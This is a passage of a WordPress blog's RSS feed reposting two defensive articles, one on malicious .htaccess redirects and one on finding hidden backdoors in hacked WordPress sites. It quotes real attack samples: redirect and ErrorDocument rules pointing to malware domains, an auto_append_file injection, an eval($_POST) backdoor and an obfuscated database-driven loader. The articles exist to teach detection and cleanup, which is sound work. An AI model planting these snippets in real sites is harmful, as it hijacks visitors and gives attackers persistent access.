RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]<br />
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]<br />
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]<br />
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]<br />
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]<br />
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]<br />
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]<br />
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]<br />
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]<br />
RewriteRule .* http://globalpoweringgatheringon.com/in.php?n=30 [R,L]</p></blockquote>
<p>&nbsp;</p>
<h3>2 – Redirecting the error pages to malware</h3>
<p>This is the second most common type of .htaccess malware. Instead of redirecting all traffic, the attackers are only modifying the error pages to their own domains (even harder to detect). This is what shows up in the .htaccess:</p>
<blockquote><p>RewriteEngine On<br />
ErrorDocument 400 http://powercrystal.ru/inject/index.php<br />
ErrorDocument 401 http://powercrystal.ru/inject/index.php<br />
ErrorDocument 403 http://powercrystal.ru/inject/index.php<br />
ErrorDocument 404 http://powercrystal.ru/inject/index.php<br />
ErrorDocument 500 http://powercrystal.ru/inject/index.php</p></blockquote>
<p>Other examples:</p>
<blockquote><p>ErrorDocument 400 http://arthurlundt.cz.cc/ht_er_docs/<br />
ErrorDocument 403 http://arthurlundt.cz.cc/ht_er_docs/<br />
ErrorDocument 404 http://arthurlundt.cz.cc/ht_er_docs/<br />
ErrorDocument 405 http://arthurlundt.cz.cc/ht_er_docs/<br />
ErrorDocument 404 http://bowdencanton.co.cc/ht_er_docs/<br />
ErrorDocument 405 http://bowdencanton.co.cc/ht_er_docs/<br />
ErrorDocument 406 http://bowdencanton.co.cc/ht_er_docs/<br />
ErrorDocument 400 http://nicomagen.cz.cc/ht_er_docs/<br />
ErrorDocument 403 http://nicomagen.cz.cc/ht_er_docs/<br />
ErrorDocument 404 http://nicomagen.cz.cc/ht_er_docs/<br />
ErrorDocument 405 http://nicomagen.cz.cc/ht_er_docs/</p></blockquote>
<p>&nbsp;</p>
<h3>3 – Appending malware to a web site</h3>
<p>This type of attack is getting more common lately. Instead of doing the redirection in the .htaccess file, they modify the PHP value “auto_append_file” to load malware from a hidden location. For example:</p>
<blockquote><p>php_value auto_append_file “/tmp/13063671977873.php”</p></blockquote>
<p>So the content of /tmp/13063671977873.php gets appended to every PHP file. This is what the PHP file looks like:</p>
<blockquote><p>&lt;script src=&#8221;http://nicomagen.cz.cc/jquery.js&#8221;&gt;&lt;/script&gt;</p></blockquote>
<p>A common javascript malware. They sometimes even append fake images to make it even harder to detect.</p>
<p>In the next part of this article we will talk about additional .htaccess attacks and give you some tips to detect and analyze them.</p>
<p>Source : <a href="http://blog.sucuri.net/2011/05/understanding-htaccess-attacks-part-1.html">http://blog.sucuri.net/2011/05/understanding-htaccess-attacks-part-1.html</a></p>
<p>&nbsp;</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/ubuntuonline.wordpress.com/548/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/ubuntuonline.wordpress.com/548/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/ubuntuonline.wordpress.com/548/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/ubuntuonline.wordpress.com/548/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/ubuntuonline.wordpress.com/548/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/ubuntuonline.wordpress.com/548/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/ubuntuonline.wordpress.com/548/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/ubuntuonline.wordpress.com/548/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/ubuntuonline.wordpress.com/548/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/ubuntuonline.wordpress.com/548/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/ubuntuonline.wordpress.com/548/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/ubuntuonline.wordpress.com/548/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/ubuntuonline.wordpress.com/548/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/ubuntuonline.wordpress.com/548/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=ubuntuonline.wordpress.com&amp;blog=8905876&amp;post=548&amp;subd=ubuntuonline&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://ubuntuonline.wordpress.com/2011/06/10/understanding-htaccess-attacks-%e2%80%93-part-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/98ee6dfc14886fa2dcdf50c90beb8dab?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">dienbienphu023</media:title>
		</media:content>
	</item>
		<item>
		<title>How to find a backdoor in a hacked WordPress</title>
		<link>http://ubuntuonline.wordpress.com/2011/06/09/how-to-find-a-backdoor-in-a-hacked-wordpress/</link>
		<comments>http://ubuntuonline.wordpress.com/2011/06/09/how-to-find-a-backdoor-in-a-hacked-wordpress/#comments</comments>
		<pubDate>Thu, 09 Jun 2011 05:34:02 +0000</pubDate>
		<dc:creator>ubuntuonline administrator</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Trick]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[hack]]></category>

		<guid isPermaLink="false">http://ubuntuonline.wordpress.com/?p=544</guid>
		<description><![CDATA[Originally posted here: http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/ Over here, Jorge Escobar is writing about how he got hacked with the latest version of WordPress. After some minor back and forth on FriendFeed, I got him to do a search which found a malicious backdoor he might not otherwise have found. In so doing, it occurred to me that most people don’t [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=ubuntuonline.wordpress.com&amp;blog=8905876&amp;post=544&amp;subd=ubuntuonline&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Originally posted here: <a href="http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/">http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/</a></p>
<p>Over <a href="http://jungleg.com/2009/09/21/feeling-secure-with-the-latest-wordpress-version-think-again-and-7-tips-to-secure-it/">here</a>, Jorge Escobar is writing about how he got hacked with the latest version of WordPress. After some <a href="http://friendfeed.com/jungleg/5e3b8b40/feeling-secure-with-latest-wordpress-version">minor back and forth on FriendFeed</a>, I got him to do a search which found a malicious backdoor he might not otherwise have found.<span id="more-544"></span></p>
<p>In so doing, it occurred to me that most people don’t keep up with the world of WordPress in the way I do, and so have not seen nearly as many hack attempts. So I figured I’d post my little contribution, and show people how to find hidden backdoors when cleaning up their hacked sites.</p>
<p>Non-technical users can safely ignore this post. <img src="http://ottodestruct.com/op/wp-includes/images/smilies/icon_smile.gif" alt=":)" /></p>
<p>What’s a backdoor? Well, when somebody gets into your site, the very first thing that happens is that a backdoor is uploaded and installed. These are designed to allow the hacker to regain access after you find and remove him. Done craftily, these backdoors will often survive an upgrade as well, meaning that you stay vulnerable forever, until you find and clean the site up.</p>
<p>However, let’s be clear here: After you get hacked, the ONLY way to be 100% secure is to restore the entire site to a period before you were hacked, and then upgrade and/or patch whatever hole the hacker used to gain entry. Manual cleanup of a site is risky, because you might miss something. It’s also time-consuming. But, if you don’t have regular backups, you may have no real choice.</p>
<p>First, the obvious stuff:</p>
<ul>
<li>A backdoor is code that has been added to your site.</li>
<li>It will most likely be code not in the normal WordPress files. It could be in the theme, it could be in a plugin, it could be in the uploads directory.</li>
<li>It will be disguised to seem innocuous, or at least non threatening.</li>
<li>It will most likely involve additions to the database.</li>
</ul>
<p>Let’s go over these individual points one at a time.</p>
<h3>Added code</h3>
<p>While it’s true that simple “backdoors” often take the form of hidden admin users, generally complex backdoor code is simpler than that. It simply gives the attacker the means to any PHP code they like, usually through the use of the <a href="http://us.php.net/eval">eval</a> command.</p>
<p>A simple example would be this:</p>
<pre>eval($_POST['attacker_key']);</pre>
<p>This, very simply, executes any PHP code sent to it from a browser.</p>
<p>Of course, they wouldn’t put this code just anywhere… It has to not be that easy to find, and it has to survive a normal WordPress upgrade.</p>
<h3>How to hide code</h3>
<p>First, we have to consider where we can put our malicious code. A WordPress upgrade deletes a lot of directories. There’s three obvious places:</p>
<p>1. Themes. Good plan, themes survive core updates. However, people tend to edit their themes a lot. Also theme names change around a fair amount, so doing this automatically is difficult.</p>
<p>2. Plugins. Plugins are a good place to hide code. People don’t generally look at them in detail, and many plugins have vulnerabilities of their own that might be exploitable. Some of them even keep some of their directories writable, meaning we can directly upload our backdoor code to there easily, after we gain access.</p>
<p>3. Uploads. Perfect. It’s explicitly designed to be writable. People don’t generally see what’s in the folders, since they’re just looking at the normal interface in WordPress. This is where something like 80% of backdoor codes get put.</p>
<h3>The art of disguise</h3>
<p>This one is easy.</p>
<p><strong>Step 1</strong>: Pick a name that looks harmless.</p>
<p>wp-cache.old. email.bak. wp-content.old.tmp. Something you won’t think of. Remember, it doesn’t have to end with PHP just because it’s got PHP code in it.</p>
<p><strong>Step 2</strong>: Hide the code itself.</p>
<p>Except in <a href="http://wordpress.org/extend/plugins/php-code-widget/">special circumstances</a>, legitimate code will not use “eval”. But, it happens often enough to be generally considered not harmful in and of itself. So looking for “eval” is not a good way to find malicious code.</p>
<p>However, attackers need to disguise their attacks over the wire as well, to prevent hosts from blocking them. The easy and cheap way to do this is <a href="http://us3.php.net/base64_encode">base64 encoding</a>.</p>
<p>Base 64 encoding lets them disguise their commands to their hidden “eval” command to be just a random looking string of letters and numbers. This is usually enough to get by any server filtering. However, this does mean that their code will have one tale-tell thing in it:<a href="http://php.net/base64_decode">base64_decode</a>.</p>
<p>Base64_decode (and the similar uudecode) are the main way to find malicious code used today. There’s almost never a good reason to use them. Note the “almost” there, many plugins (notably the venerable <a href="http://wordpress.org/extend/plugins/google-sitemap-generator/">Google Sitemap Generator</a>) use base64_decode in legitimate ways. So it’s not exactly a smoking gun, but it is <em>highly</em> questionable for some randomly named file lying around to have that inside it.</p>
<p>Smarter authors realize this, and so have taken steps to hide even that sign…</p>
<h3>Database obfuscation</h3>
<p>Here’s a bit of code I’ve seen around recently. This code does something really clever. Note that it was heavily obfuscated by including hundreds of line of randomness, hidden in /* PHP comments */. This is why having a text editor with code and syntax coloring can be very handy.</p>
<p>Note, this code was in a file named wp-cache.old in the wp-content/uploads directory. It was <a href="http://us.php.net/manual/en/function.include.php">included</a> at the end of the wp-config.php (also a file that usually does not get overwritten in an upgrade).</p>
<pre>global $wpdb;
$trp_rss=$wpdb-&gt;get_var(
"SELECT option_value FROM $wpdb-&gt;options WHERE option_name='rss_f541b3abd05e7962fcab37737f40fad8'");
preg_match("!events or a cale\"\;s\:7\:\'(.*?)\'!is",$trp_rss,$trp_m);
$trp_f=create_function("",strrev($trp_m[1]));
$trp_f();</pre>
<ol>
<li>It retrieves a value from the WordPress database.</li>
<li>It pulls a specific section of that value out.</li>
<li>It creates a function to run that value as PHP code.</li>
<li>It runs that function.</li>
</ol>
<p>Note how it cleverly avoids all the warning signs.</p>
<ul>
<li>Nowhere does it use “eval”.</li>
<li>base64 is not visible at all.</li>
<li>The function named strrev is used. strrev reverses a string. So the code that it’s pulling out is reversed! So much for looking for “base64_decode”.</li>
</ul>
<p>The actual value in the database looked like this:</p>
<pre>...a bunch of junk here...J3byJXZ"(edoced_46esab(lave</pre>
<p>Reverse that. What do you have? Why, it’s our old friends eval and base64_decode. Clever. Searching the files for these two warning signs would have uncovered nothing at all. Searching the database for same would have also shown nothing.</p>
<p>The key it used, BTW (rss_f541b3abd05e7962fcab37737f40fad8) is also designed to be nonthreatening. WordPress itself creates several similar looking keys as part of its RSS feed caching mechanism.</p>
<p>So, break down how this code works.</p>
<ol>
<li>The hacked wp-config.php code causes an include of a nondescript file, called wp-cache.old.</li>
<li>That code, which does not use any trigger words, loads a nondescript value from the options table.</li>
<li>It performs some string operations on that code, then executes it.</li>
<li>The code in question was the rest of the hack, and did many different things, such as inserting spam links, etc.</li>
</ol>
<h3>Summary</h3>
<p>This is the sort of thing you’re up against. If your site got hacked, then there exists a backdoor on your site. Guaranteed. I’ve never seen a hacked WordPress installation that was missing it. Sometimes there’s more than one. You have to check every file, look through every plugin, examine even the database data itself. Hackers will go to extreme lengths to hide their code from you.</p>
<p>And one more thing… before claiming that your WordPress got hacked even despite having the latest code, make sure that it wasn’t actually hacked already, before you put the latest code on there. If you don’t fully clean up after a hack, then you *stay* hacked. It’s not a new hack, it’s the same one.</p>
<p>The latest WordPress (as of this writing) has no known security holes. Claiming that it does when you don’t know that for sure is really not all that helpful. You’re placing the blame in the wrong place. The WordPress team makes the code secure as is possible, and is very fast on patching the security holes that are found, when they’re found. But they can’t patch code that made it onto your site from some other method, can they? Just something to keep in mind.</p>
<p>source : <a href="http://ottopress.com/2009/hacked-wordpress-backdoors/">http://ottopress.com/2009/hacked-wordpress-backdoors/</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/ubuntuonline.wordpress.com/544/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/ubuntuonline.wordpress.com/544/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/ubuntuonline.wordpress.com/544/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/ubuntuonline.wordpress.com/544/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/ubuntuonline.wordpress.com/544/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/ubuntuonline.wordpress.com/544/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/ubuntuonline.wordpress.com/544/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/ubuntuonline.wordpress.com/544/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/ubuntuonline.wordpress.com/544/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/ubuntuonline.wordpress.com/544/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/ubuntuonline.wordpress.com/544/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/ubuntuonline.wordpress.com/544/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/ubuntuonline.wordpress.com/544/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/ubuntuonline.wordpress.com/544/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=ubuntuonline.wordpress.com&amp;blog=8905876&amp;post=544&amp;subd=ubuntuonline&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://ubuntuonline.wordpress.com/2011/06/09/how-to-find-a-backdoor-in-a-hacked-wordpress/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/98ee6dfc14886fa2dcdf50c90beb8dab?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">dienbienphu023</media:title>
		</media:content>

		<media:content url="http://ottodestruct.com/op/wp-includes/images/smilies/icon_smile.gif" medium="image">
			<media:title type="html">:)</media:title>
		</media:content>
	</item>
	</channel>
</rss>
